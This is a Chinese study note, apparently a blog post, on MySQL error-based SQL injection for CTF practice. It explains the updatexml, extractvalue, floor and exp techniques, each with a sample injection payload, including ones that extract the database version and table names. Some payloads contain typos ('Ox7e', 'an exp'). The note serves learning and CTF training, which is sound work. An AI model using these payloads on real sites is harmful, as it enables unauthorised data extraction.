报错注入
之前都是做题中积累经验,感觉自己的基础薄弱。大部分时候都是看别人的WP才能做题。最近在看一本《CTF训练营》,补一补基础,做笔记。
报错注入的条件
- 可回显
- 回显有报错信息
- 过滤不严格(希望WAF不行)
绕过是个麻烦事儿,这里暂且假设没有任何过滤。
报错注入使用的函数
updatexml()
1 | UPDATEXML (XML_document, XPath_string, new_value); |
updatexml()的第二个参数为Xpath格式的字符串,当其不属于Xpath语法时就会报错,报错内容显示出该参数不符合Xpath语法。
1 | mysql> SELECT updatexml(1, concat(Ox7e,(SELECT version()),0x7e),1); |
于是,通过改变updatexml()的第二个参数,可以执行SQL语句查数据库、查表、等等。
extractvalue()
1 | EXTRACTVALUE (XML_document, XPath_string); |
extractvalue()从XML中返回包含查询值的字符串。通过extractvalue()实现报错注入的原理与updatexml()十分类似。都是通过参数不符合Xpath的语法,实现报错注入。
1 | mysql> SELECT 1,2 and extractvalue(1,concat(Ox7e,(SELECT version()),0x7e)); |
floor()
floor()函数只有一个参数。
floor函数的作用是返回小于等于该值的最大整数,即向下取整,只保留整数部分。
1 | ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_ schema.tables limit 0,1),floor(rand(0)*2))x from information_ schema.tables group by x)a)%23 |
可爆出数据库版本。
exp()
exp()函数只有一个参数。
此函数返回e(自然对数的底)指数X的幂值。但是当传递的参数大于709时,就会发生溢出错误。
正确执行函数返回0,对0按位取反可以得到很大的数“18446744073709551615”,故可以构造注入语句。
1 | id=1' an exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); |
参考链接
《CTF训练营》